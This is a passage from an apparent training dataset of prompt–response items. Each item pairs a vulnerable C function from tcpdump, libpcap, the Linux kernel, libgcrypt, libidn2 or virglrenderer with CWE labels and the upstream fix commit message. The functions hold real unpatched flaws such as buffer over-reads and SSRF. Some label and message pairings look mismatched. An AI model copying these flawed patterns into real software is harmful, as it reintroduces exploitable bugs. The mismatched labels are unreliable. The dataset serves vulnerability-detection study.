: \"dis\"));\n\t\t\tND_PRINT((ndo,\")\"));\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/*\n\t\t\t * XXX - fill in more types here; see, for example,\n\t\t\t * draft-ietf-ipsec-notifymsg-04.\n\t\t\t */\n\t\t\tif (ndo->ndo_vflag > 3) {\n\t\t\t\tND_PRINT((ndo,\" data=(\"));\n\t\t\t\tif (!rawprint(ndo, (const uint8_t *)(cp), ep - cp))\n\t\t\t\t\tgoto trunc;\n\t\t\t\tND_PRINT((ndo,\")\"));\n\t\t\t} else {\n\t\t\t\tif (!ike_show_somedata(ndo, cp, ep))\n\t\t\t\t\tgoto trunc;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn (const u_char *)ext + item_len;\ntrunc:\n\tND_PRINT((ndo,\" [|%s]\", NPSTR(ISAKMP_NPTYPE_N)));\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': '(for 4.9.3) CVE-2018-14469/ISAKMP: Add a missing bounds check\n\nIn ikev1_n_print() check bounds before trying to fetch the replay detection\nstatus.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry.\n\nAdd a test using the capture file supplied by the reporter(s).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ldp_pdu_print(netdissect_options *ndo,\n register const u_char *pptr)\n{\n const struct ldp_common_header *ldp_com_header;\n const struct ldp_msg_header *ldp_msg_header;\n const u_char *tptr,*msg_tptr;\n u_short tlen;\n u_short pdu_len,msg_len,msg_type,msg_tlen;\n int hexdump,processed;\n\n ldp_com_header = (const struct ldp_common_header *)pptr;\n ND_TCHECK(*ldp_com_header);\n\n /*\n * Sanity checking of the header.\n */\n if (EXTRACT_16BITS(&ldp_com_header->version) != LDP_VERSION) {\n\tND_PRINT((ndo, \"%sLDP version %u packet not supported\",\n (ndo->ndo_vflag < 1) ? \"\" : \"\\n\\t\",\n EXTRACT_16BITS(&ldp_com_header->version)));\n\treturn 0;\n }\n\n pdu_len = EXTRACT_16BITS(&ldp_com_header->pdu_length);\n if (pdu_len < sizeof(const struct ldp_common_header)-4) {\n /* length too short */\n ND_PRINT((ndo, \"%sLDP, pdu-length: %u (too short, < %u)\",\n (ndo->ndo_vflag < 1) ? \"\" : \"\\n\\t\",\n pdu_len,\n (u_int)(sizeof(const struct ldp_common_header)-4)));\n return 0;\n }\n\n /* print the LSR-ID, label-space & length */\n ND_PRINT((ndo, \"%sLDP, Label-Space-ID: %s:%u, pdu-length: %u\",\n (ndo->ndo_vflag < 1) ? \"\" : \"\\n\\t\",\n ipaddr_string(ndo, &ldp_com_header->lsr_id),\n EXTRACT_16BITS(&ldp_com_header->label_space),\n pdu_len));\n\n /* bail out if non-verbose */\n if (ndo->ndo_vflag < 1)\n return 0;\n\n /* ok they seem to want to know everything - lets fully decode it */\n tptr = pptr + sizeof(const struct ldp_common_header);\n tlen = pdu_len - (sizeof(const struct ldp_common_header)-4);\t/* Type & Length fields not included */\n\n while(tlen>0) {\n /* did we capture enough for fully decoding the msg header ? */\n ND_TCHECK2(*tptr, sizeof(struct ldp_msg_header));\n\n ldp_msg_header = (const struct ldp_msg_header *)tptr;\n msg_len=EXTRACT_16BITS(ldp_msg_header->length);\n msg_type=LDP_MASK_MSG_TYPE(EXTRACT_16BITS(ldp_msg_header->type));\n\n if (msg_len < sizeof(struct ldp_msg_header)-4) {\n /* length too short */\n /* FIXME vendor private / experimental check */\n ND_PRINT((ndo, \"\\n\\t %s Message (0x%04x), length: %u (too short, < %u)\",\n tok2str(ldp_msg_values,\n \"Unknown\",\n msg_type),\n msg_type,\n msg_len,\n (u_int)(sizeof(struct ldp_msg_header)-4)));\n return 0;\n }\n\n /* FIXME vendor private / experimental check */\n ND_PRINT((ndo, \"\\n\\t %s Message (0x%04x), length: %u, Message ID: 0x%08x, Flags: [%s if unknown]\",\n tok2str(ldp_msg_values,\n \"Unknown\",\n msg_type),\n msg_type,\n msg_len,\n EXTRACT_32BITS(&ldp_msg_header->id),\n LDP_MASK_U_BIT(EXTRACT_16BITS(&ldp_msg_header->type)) ? \"continue processing\" : \"ignore\"));\n\n msg_tptr=tptr+sizeof(struct ldp_msg_header);\n msg_tlen=msg_len-(sizeof(struct ldp_msg_header)-4); /* Type & Length fields not included */\n\n /* did we capture enough for fully decoding the message ? */\n ND_TCHECK2(*tptr, msg_len);\n hexdump=FALSE;\n\n switch(msg_type) {\n\n case LDP_MSG_NOTIF:\n case LDP_MSG_HELLO:\n case LDP_MSG_INIT:\n case LDP_MSG_KEEPALIVE:\n case LDP_MSG_ADDRESS:\n case LDP_MSG_LABEL_MAPPING:\n case LDP_MSG_ADDRESS_WITHDRAW:\n case LDP_MSG_LABEL_WITHDRAW:\n while(msg_tlen >= 4) {\n processed = ldp_tlv_print(ndo, msg_tptr, msg_tlen);\n if (processed == 0)\n break;\n msg_tlen-=processed;\n msg_tptr+=processed;\n }\n break;\n\n /*\n * FIXME those are the defined messages that lack a decoder\n * you are welcome to contribute code ;-)\n */\n\n case LDP_MSG_LABEL_REQUEST:\n case LDP_MSG_LABEL_RELEASE:\n case LDP_MSG_LABEL_ABORT_REQUEST:\n\n default:\n if (ndo->ndo_vflag <= 1)\n print_unknown_data(ndo, msg_tptr, \"\\n\\t \", msg_tlen);\n break;\n }\n /* do we want to see an additionally hexdump ? */\n if (ndo->ndo_vflag > 1 || hexdump==TRUE)\n print_unknown_data(ndo, tptr+sizeof(struct ldp_msg_header), \"\\n\\t \",\n msg_len);\n\n tptr += msg_len+4;\n tlen -= msg_len+4;\n }\n return pdu_len+4;\ntrunc:\n ND_PRINT((ndo, \"\\n\\t\\t packet exceeded snapshot\"));\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': '(for 4.9.3) CVE-2018-14461/LDP: Fix a bounds check\n\nIn ldp_tlv_print(), the FT Session TLV length must be 12, not 8 (RFC3479)\n\nThis fixes a buffer over-read discovered by Konrad Rieck and\nBhargava Shastry.\n\nAdd a test using the capture file supplied by the reporter(s).\n\nMoreover:\nAdd and use tstr[].\nAdd a comment.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: print_trans(netdissect_options *ndo,\n const u_char *words, const u_char *data1, const u_char *buf, const u_char *maxbuf)\n{\n u_int bcc;\n const char *f1, *f2, *f3, *f4;\n const u_char *data, *param;\n const u_char *w = words + 1;\n int datalen, paramlen;\n\n if (request) {\n\tND_TCHECK2(w[12 * 2], 2);\n\tparamlen = EXTRACT_LE_16BITS(w + 9 * 2);\n\tparam = buf + EXTRACT_LE_16BITS(w + 10 * 2);\n\tdatalen = EXTRACT_LE_16BITS(w + 11 * 2);\n\tdata = buf + EXTRACT_LE_16BITS(w + 12 * 2);\n\tf1 = \"TotParamCnt=[d] \\nTotDataCnt=[d] \\nMaxParmCnt=[d] \\nMaxDataCnt=[d]\\nMaxSCnt=[d] \\nTransFlags=[w] \\nRes1=[w] \\nRes2=[w] \\nRes3=[w]\\nParamCnt=[d] \\nParamOff=[d] \\nDataCnt=[d] \\nDataOff=[d] \\nSUCnt=[d]\\n\";\n\tf2 = \"|Name=[S]\\n\";\n\tf3 = \"|Param \";\n\tf4 = \"|Data \";\n } else {\n\tND_TCHECK2(w[7 * 2], 2);\n\tparamlen = EXTRACT_LE_16BITS(w + 3 * 2);\n\tparam = buf + EXTRACT_LE_16BITS(w + 4 * 2);\n\tdatalen = EXTRACT_LE_16BITS(w + 6 * 2);\n\tdata = buf + EXTRACT_LE_16BITS(w + 7 * 2);\n\tf1 = \"TotParamCnt=[d] \\nTotDataCnt=[d] \\nRes1=[d]\\nParamCnt=[d] \\nParamOff=[d] \\nRes2=[d] \\nDataCnt=[d] \\nDataOff=[d] \\nRes3=[d]\\nLsetup=[d]\\n\";\n\tf2 = \"|Unknown \";\n\tf3 = \"|Param \";\n\tf4 = \"|Data \";\n }\n\n smb_fdata(ndo, words + 1, f1, min(words + 1 + 2 * words[0], maxbuf),\n unicodestr);\n\n ND_TCHECK2(*data1, 2);\n bcc = EXTRACT_LE_16BITS(data1);\n ND_PRINT((ndo, \"smb_bcc=%u\\n\", bcc));\n if (bcc > 0) {\n\tsmb_fdata(ndo, data1 + 2, f2, maxbuf - (paramlen + datalen), unicodestr);\n\n\tif (strcmp((const char *)(data1 + 2), \"\\\\MAILSLOT\\\\BROWSE\") == 0) {\n\t print_browse(ndo, param, paramlen, data, datalen);\n\t return;\n\t}\n\n\tif (strcmp((const char *)(data1 + 2), \"\\\\PIPE\\\\LANMAN\") == 0) {\n\t print_ipc(ndo, param, paramlen, data, datalen);\n\t return;\n\t}\n\n\tif (paramlen)\n\t smb_fdata(ndo, param, f3, min(param + paramlen, maxbuf), unicodestr);\n\tif (datalen)\n\t smb_fdata(ndo, data, f4, min(data + datalen, maxbuf), unicodestr);\n }\n return;\ntrunc:\n ND_PRINT((ndo, \"%s\", tstr));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': '(for 4.9.3) SMB: Add two missing bounds checks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: daemon_msg_open_req(uint8 ver, struct daemon_slpars *pars, uint32 plen,\n char *source, size_t sourcelen)\n{\n\tchar errbuf[PCAP_ERRBUF_SIZE];\t\t// buffer for network errors\n\tchar errmsgbuf[PCAP_ERRBUF_SIZE];\t// buffer for errors to send to the client\n\tpcap_t *fp;\t\t\t\t// pcap_t main variable\n\tint nread;\n\tchar sendbuf[RPCAP_NETBUF_SIZE];\t// temporary buffer in which data to be sent is buffered\n\tint sendbufidx = 0;\t\t\t// index which keeps the number of bytes currently buffered\n\tstruct rpcap_openreply *openreply;\t// open reply message\n\n\tif (plen > sourcelen - 1)\n\t{\n\t\tpcap_snprintf(errmsgbuf, PCAP_ERRBUF_SIZE, \"Source string too long\");\n\t\tgoto error;\n\t}\n\n\tnread = sock_recv(pars->sockctrl, source, plen,\n\t SOCK_RECEIVEALL_YES|SOCK_EOF_IS_ERROR, errbuf, PCAP_ERRBUF_SIZE);\n\tif (nread == -1)\n\t{\n\t\trpcapd_log(LOGPRIO_ERROR, \"Read from client failed: %s\", errbuf);\n\t\treturn -1;\n\t}\n\tsource[nread] = '\\0';\n\tplen -= nread;\n\n\t// XXX - make sure it's *not* a URL; we don't support opening\n\t// remote devices here.\n\n\t// Open the selected device\n\t// This is a fake open, since we do that only to get the needed parameters, then we close the device again\n\tif ((fp = pcap_open_live(source,\n\t\t\t1500 /* fake snaplen */,\n\t\t\t0 /* no promis */,\n\t\t\t1000 /* fake timeout */,\n\t\t\terrmsgbuf)) == NULL)\n\t\tgoto error;\n\n\t// Now, I can send a RPCAP open reply message\n\tif (sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx,\n\t RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errmsgbuf, PCAP_ERRBUF_SIZE) == -1)\n\t\tgoto error;\n\n\trpcap_createhdr((struct rpcap_header *) sendbuf, ver,\n\t RPCAP_MSG_OPEN_REPLY, 0, sizeof(struct rpcap_openreply));\n\n\topenreply = (struct rpcap_openreply *) &sendbuf[sendbufidx];\n\n\tif (sock_bufferize(NULL, sizeof(struct rpcap_openreply), NULL, &sendbufidx,\n\t RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errmsgbuf, PCAP_ERRBUF_SIZE) == -1)\n\t\tgoto error;\n\n\tmemset(openreply, 0, sizeof(struct rpcap_openreply));\n\topenreply->linktype = htonl(pcap_datalink(fp));\n\topenreply->tzoff = 0; /* This is always 0 for live captures */\n\n\t// We're done with the pcap_t.\n\tpcap_close(fp);\n\n\t// Send the reply.\n\tif (sock_send(pars->sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1)\n\t{\n\t\trpcapd_log(LOGPRIO_ERROR, \"Send to client failed: %s\", errbuf);\n\t\treturn -1;\n\t}\n\treturn 0;\n\nerror:\n\tif (rpcap_senderror(pars->sockctrl, ver, PCAP_ERR_OPEN,\n\t errmsgbuf, errbuf) == -1)\n\t{\n\t\t// That failed; log a message and give up.\n\t\trpcapd_log(LOGPRIO_ERROR, \"Send to client failed: %s\", errbuf);\n\t\treturn -1;\n\t}\n\n\t// Check if all the data has been read; if not, discard the data in excess\n\tif (rpcapd_discard(pars->sockctrl, plen) == -1)\n\t{\n\t\treturn -1;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-918'], 'message': 'In the open request, reject capture sources that are URLs.\n\nYou shouldn't be able to ask a server to open a remote device on some\n*other* server; just open it yourself.\n\nThis addresses Include Security issue F13: [libpcap] Remote Packet\nCapture Daemon Allows Opening Capture URLs.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int pf_detect(void)\n{\n\tstruct pf_unit *pf = units;\n\tint k, unit;\n\n\tprintk(\"%s: %s version %s, major %d, cluster %d, nice %d\\n\",\n\t name, name, PF_VERSION, major, cluster, nice);\n\n\tpar_drv = pi_register_driver(name);\n\tif (!par_drv) {\n\t\tpr_err(\"failed to register %s driver\\n\", name);\n\t\treturn -1;\n\t}\n\tk = 0;\n\tif (pf_drive_count == 0) {\n\t\tif (pi_init(pf->pi, 1, -1, -1, -1, -1, -1, pf_scratch, PI_PF,\n\t\t\t verbose, pf->name)) {\n\t\t\tif (!pf_probe(pf) && pf->disk) {\n\t\t\t\tpf->present = 1;\n\t\t\t\tk++;\n\t\t\t} else\n\t\t\t\tpi_release(pf->pi);\n\t\t}\n\n\t} else\n\t\tfor (unit = 0; unit < PF_UNITS; unit++, pf++) {\n\t\t\tint *conf = *drives[unit];\n\t\t\tif (!conf[D_PRT])\n\t\t\t\tcontinue;\n\t\t\tif (pi_init(pf->pi, 0, conf[D_PRT], conf[D_MOD],\n\t\t\t\t conf[D_UNI], conf[D_PRO], conf[D_DLY],\n\t\t\t\t pf_scratch, PI_PF, verbose, pf->name)) {\n\t\t\t\tif (pf->disk && !pf_probe(pf)) {\n\t\t\t\t\tpf->present = 1;\n\t\t\t\t\tk++;\n\t\t\t\t} else\n\t\t\t\t\tpi_release(pf->pi);\n\t\t\t}\n\t\t}\n\tif (k)\n\t\treturn 0;\n\n\tprintk(\"%s: No ATAPI disk detected\\n\", name);\n\tfor (pf = units, unit = 0; unit < PF_UNITS; pf++, unit++) {\n\t\tblk_cleanup_queue(pf->disk->queue);\n\t\tpf->disk->queue = NULL;\n\t\tblk_mq_free_tag_set(&pf->tag_set);\n\t\tput_disk(pf->disk);\n\t}\n\tpi_unregister_driver(par_drv);\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-125'], 'message': 'paride/pf: Fix potential NULL pointer dereference\n\nSyzkaller report this:\n\npf: pf version 1.04, major 47, cluster 64, nice 0\npf: No ATAPI disk detected\nkasan: CONFIG_KASAN_INLINE enabled\nkasan: GPF could be caused by NULL-ptr deref or user memory access\ngeneral protection fault: 0000 [#1] SMP KASAN PTI\nCPU: 0 PID: 9887 Comm: syz-executor.0 Tainted: G C 5.1.0-rc3+ #8\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nRIP: 0010:pf_init+0x7af/0x1000 [pf]\nCode: 46 77 d2 48 89 d8 48 c1 e8 03 80 3c 28 00 74 08 48 89 df e8 03 25 a6 d2 4c 8b 23 49 8d bc 24 80 05 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 74 05 e8 e6 24 a6 d2 49 8b bc 24 80 05 00 00 e8 79 34\nRSP: 0018:ffff8881abcbf998 EFLAGS: 00010202\nRAX: 00000000000000b0 RBX: ffffffffc1e4a8a8 RCX: ffffffffaec50788\nRDX: 0000000000039b10 RSI: ffffc9000153c000 RDI: 0000000000000580\nRBP: dffffc0000000000 R08: ffffed103ee44e59 R09: ffffed103ee44e59\nR10: 0000000000000001 R11: ffffed103ee44e58 R12: 0000000000000000\nR13: ffffffffc1e4b028 R14: 0000000000000000 R15: 0000000000000020\nFS: 00007f1b78a91700(0000) GS:ffff8881f7200000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f6d72b207f8 CR3: 00000001d5790004 CR4: 00000000007606f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n ? 0xffffffffc1e50000\n do_one_initcall+0xbc/0x47d init/main.c:901\n do_init_module+0x1b5/0x547 kernel/module.c:3456\n load_module+0x6405/0x8c10 kernel/module.c:3804\n __do_sys_finit_module+0x162/0x190 kernel/module.c:3898\n do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\nRIP: 0033:0x462e99\nCode: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f1b78a90c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139\nRAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99\nRDX: 0000000000000000 RSI: 0000000020000180 RDI: 0000000000000003\nRBP: 00007f1b78a90c70 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007f1b78a916bc\nR13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004\nModules linked in: pf(+) paride gpio_tps65218 tps65218 i2c_cht_wc ati_remote dc395x act_meta_skbtcindex act_ife ife ecdh_generic rc_xbox_dvd sky81452_regulator v4l2_fwnode leds_blinkm snd_usb_hiface comedi(C) aes_ti slhc cfi_cmdset_0020 mtd cfi_util sx8654 mdio_gpio of_mdio fixed_phy mdio_bitbang libphy alcor_pci matrix_keymap hid_uclogic usbhid scsi_transport_fc videobuf2_v4l2 videobuf2_dma_sg snd_soc_pcm179x_spi snd_soc_pcm179x_codec i2c_demux_pinctrl mdev snd_indigodj isl6405 mii enc28j60 cmac adt7316_i2c(C) adt7316(C) fmc_trivial fmc nf_reject_ipv4 authenc rc_dtt200u rtc_ds1672 dvb_usb_dibusb_mc dvb_usb_dibusb_mc_common dib3000mc dibx000_common dvb_usb_dibusb_common dvb_usb dvb_core videobuf2_common videobuf2_vmalloc videobuf2_memops regulator_haptic adf7242 mac802154 ieee802154 s5h1409 da9034_ts snd_intel8x0m wmi cx24120 usbcore sdhci_cadence sdhci_pltfm sdhci mmc_core joydev i2c_algo_bit scsi_transport_iscsi iscsi_boot_sysfs ves1820 lockd grace nfs_acl auth_rpcgss sunrp\n c\n ip_vs snd_soc_adau7002 snd_cs4281 snd_rawmidi gameport snd_opl3_lib snd_seq_device snd_hwdep snd_ac97_codec ad7418 hid_primax hid snd_soc_cs4265 snd_soc_core snd_pcm_dmaengine snd_pcm snd_timer ac97_bus snd_compress snd soundcore ti_adc108s102 eeprom_93cx6 i2c_algo_pca mlxreg_hotplug st_pressure st_sensors industrialio_triggered_buffer kfifo_buf industrialio v4l2_common videodev media snd_soc_adau_utils rc_pinnacle_grey rc_core pps_gpio leds_lm3692x nandcore ledtrig_pattern iptable_security iptable_raw iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun mousedev ppdev tpm kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ide_pci_generic aes_x86_64 piix crypto_simd input_leds psmouse cryp\n td\n glue_helper ide_core intel_agp serio_raw intel_gtt agpgart ata_generic i2c_piix4 pata_acpi parport_pc parport rtc_cmos floppy sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: paride]\nDumping ftrace buffer:\n (ftrace buffer empty)\n---[ end trace 7a818cf5f210d79e ]---\n\nIf alloc_disk fails in pf_init_units, pf->disk will be\nNULL, however in pf_detect and pf_exit, it's not check\nthis before free.It may result a NULL pointer dereference.\n\nAlso when register_blkdev failed, blk_cleanup_queue() and\nblk_mq_free_tag_set() should be called to free resources.\n\nReported-by: Hulk Robot \nFixes: 6ce59025f118 (\"paride/pf: cleanup queues when detection fails\")\nSigned-off-by: YueHaibing \n\nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _gcry_ecc_gost_sign (gcry_mpi_t input, ECC_secret_key *skey,\n gcry_mpi_t r, gcry_mpi_t s)\n{\n gpg_err_code_t rc = 0;\n gcry_mpi_t k, dr, sum, ke, x, e;\n mpi_point_struct I;\n gcry_mpi_t hash;\n const void *abuf;\n unsigned int abits, qbits;\n mpi_ec_t ctx;\n\n if (DBG_CIPHER)\n log_mpidump (\"gost sign hash \", input );\n\n qbits = mpi_get_nbits (skey->E.n);\n\n /* Convert the INPUT into an MPI if needed. */\n if (mpi_is_opaque (input))\n {\n abuf = mpi_get_opaque (input, &abits);\n rc = _gcry_mpi_scan (&hash, GCRYMPI_FMT_USG, abuf, (abits+7)/8, NULL);\n if (rc)\n return rc;\n if (abits > qbits)\n mpi_rshift (hash, hash, abits - qbits);\n }\n else\n hash = input;\n\n\n k = NULL;\n dr = mpi_alloc (0);\n sum = mpi_alloc (0);\n ke = mpi_alloc (0);\n e = mpi_alloc (0);\n x = mpi_alloc (0);\n point_init (&I);\n\n ctx = _gcry_mpi_ec_p_internal_new (skey->E.model, skey->E.dialect, 0,\n skey->E.p, skey->E.a, skey->E.b);\n\n mpi_mod (e, input, skey->E.n); /* e = hash mod n */\n\n if (!mpi_cmp_ui (e, 0))\n mpi_set_ui (e, 1);\n\n /* Two loops to avoid R or S are zero. This is more of a joke than\n a real demand because the probability of them being zero is less\n than any hardware failure. Some specs however require it. */\n do\n {\n do\n {\n mpi_free (k);\n k = _gcry_dsa_gen_k (skey->E.n, GCRY_STRONG_RANDOM);\n\n _gcry_mpi_ec_mul_point (&I, k, &skey->E.G, ctx);\n if (_gcry_mpi_ec_get_affine (x, NULL, &I, ctx))\n {\n if (DBG_CIPHER)\n log_debug (\"ecc sign: Failed to get affine coordinates\\n\");\n rc = GPG_ERR_BAD_SIGNATURE;\n goto leave;\n }\n mpi_mod (r, x, skey->E.n); /* r = x mod n */\n }\n while (!mpi_cmp_ui (r, 0));\n mpi_mulm (dr, skey->d, r, skey->E.n); /* dr = d*r mod n */\n mpi_mulm (ke, k, e, skey->E.n); /* ke = k*e mod n */\n mpi_addm (s, ke, dr, skey->E.n); /* sum = (k*e+ d*r) mod n */\n }\n while (!mpi_cmp_ui (s, 0));\n\n if (DBG_CIPHER)\n {\n log_mpidump (\"gost sign result r \", r);\n log_mpidump (\"gost sign result s \", s);\n }\n\n leave:\n _gcry_mpi_ec_free (ctx);\n point_free (&I);\n mpi_free (x);\n mpi_free (e);\n mpi_free (ke);\n mpi_free (sum);\n mpi_free (dr);\n mpi_free (k);\n\n if (hash != input)\n mpi_free (hash);\n\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-203'], 'message': 'dsa,ecdsa: Fix use of nonce, use larger one.\n\n* cipher/dsa-common.c (_gcry_dsa_modify_k): New.\n* cipher/pubkey-internal.h (_gcry_dsa_modify_k): New.\n* cipher/dsa.c (sign): Use _gcry_dsa_modify_k.\n* cipher/ecc-ecdsa.c (_gcry_ecc_ecdsa_sign): Likewise.\n* cipher/ecc-gost.c (_gcry_ecc_gost_sign): Likewise.\n\nCVE-id: CVE-2019-13627\nGnuPG-bug-id: 4626\nSigned-off-by: NIIBE Yutaka '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: idn2_strerror_name (int rc)\n{\n switch (rc)\n {\n case IDN2_OK: return ERR2STR (IDN2_OK);\n case IDN2_MALLOC: return ERR2STR (IDN2_MALLOC);\n case IDN2_NO_CODESET: return ERR2STR (IDN2_NO_NODESET);\n case IDN2_ICONV_FAIL: return ERR2STR (IDN2_ICONV_FAIL);\n case IDN2_ENCODING_ERROR: return ERR2STR (IDN2_ENCODING_ERROR);\n case IDN2_NFC: return ERR2STR (IDN2_NFC);\n case IDN2_PUNYCODE_BAD_INPUT: return ERR2STR (IDN2_PUNYCODE_BAD_INPUT);\n case IDN2_PUNYCODE_BIG_OUTPUT: return ERR2STR (IDN2_PUNYCODE_BIG_OUTPUT);\n case IDN2_PUNYCODE_OVERFLOW: return ERR2STR (IDN2_PUNYCODE_OVERFLOW);\n case IDN2_TOO_BIG_DOMAIN: return ERR2STR (IDN2_TOO_BIG_DOMAIN);\n case IDN2_TOO_BIG_LABEL: return ERR2STR (IDN2_TOO_BIG_LABEL);\n case IDN2_INVALID_ALABEL: return ERR2STR (IDN2_INVALID_ALABEL);\n case IDN2_UALABEL_MISMATCH: return ERR2STR (IDN2_UALABEL_MISMATCH);\n case IDN2_INVALID_FLAGS: return ERR2STR (IDN2_INVALID_FLAGS);\n case IDN2_NOT_NFC: return ERR2STR (IDN2_NOT_NFC);\n case IDN2_2HYPHEN: return ERR2STR (IDN2_2HYPHEN);\n case IDN2_HYPHEN_STARTEND: return ERR2STR (IDN2_HYPHEN_STARTEND);\n case IDN2_LEADING_COMBINING: return ERR2STR (IDN2_LEADING_COMBINING);\n case IDN2_DISALLOWED: return ERR2STR (IDN2_DISALLOWED);\n case IDN2_CONTEXTJ: return ERR2STR (IDN2_CONTEXTJ);\n case IDN2_CONTEXTJ_NO_RULE: return ERR2STR (IDN2_CONTEXTJ_NO_RULE);\n case IDN2_CONTEXTO: return ERR2STR (IDN2_CONTEXTO);\n case IDN2_CONTEXTO_NO_RULE: return ERR2STR (IDN2_CONTEXTO_NO_RULE);\n case IDN2_UNASSIGNED: return ERR2STR (IDN2_UNASSIGNED);\n case IDN2_BIDI: return ERR2STR (IDN2_BIDI);\n case IDN2_DOT_IN_LABEL: return ERR2STR (IDN2_DOT_IN_LABEL);\n case IDN2_INVALID_TRANSITIONAL: return ERR2STR (IDN2_INVALID_TRANSITIONAL);\n case IDN2_INVALID_NONTRANSITIONAL: return ERR2STR (IDN2_INVALID_NONTRANSITIONAL);\n default: return \"IDN2_UNKNOWN\";\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Perform A-Label roundtrip for lookup functions by default\n\nThis adds another check to avoid unexpected results.\nIt was a longstanding FIXME.\n\nThanks to Jonathan Birch of Microsoft Corporation,\nFlorian Weimer (GNU glibc) and Nikos Mavrogiannopoulos (GnuTLS)\nfor investigation, discussion and testing.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int vrend_renderer_transfer_iov(const struct vrend_transfer_info *info,\n int transfer_mode)\n{\n struct vrend_resource *res;\n struct vrend_context *ctx;\n struct iovec *iov;\n int num_iovs;\n\n if (!info->box)\n return EINVAL;\n\n ctx = vrend_lookup_renderer_ctx(info->ctx_id);\n if (!ctx)\n return EINVAL;\n\n if (info->ctx_id == 0)\n res = vrend_resource_lookup(info->handle, 0);\n else\n res = vrend_renderer_ctx_res_lookup(ctx, info->handle);\n\n if (!res) {\n if (info->ctx_id)\n report_context_error(ctx, VIRGL_ERROR_CTX_ILLEGAL_RESOURCE, info->handle);\n return EINVAL;\n }\n\n iov = info->iovec;\n num_iovs = info->iovec_cnt;\n\n if (res->iov && (!iov || num_iovs == 0)) {\n iov = res->iov;\n num_iovs = res->num_iovs;\n }\n\n if (!iov) {\n if (info->ctx_id)\n report_context_error(ctx, VIRGL_ERROR_CTX_ILLEGAL_RESOURCE, info->handle);\n return EINVAL;\n }\n\n#ifdef ENABLE_GBM_ALLOCATION\n if (res->gbm_bo)\n return virgl_gbm_transfer(res->gbm_bo, transfer_mode, iov, num_iovs, info);\n#endif\n\n if (!check_transfer_bounds(res, info))\n return EINVAL;\n\n if (!check_iov_bounds(res, info, iov, num_iovs))\n return EINVAL;\n\n if (info->context0) {\n vrend_renderer_force_ctx_0();\n ctx = NULL;\n }\n\n switch (transfer_mode) {\n case 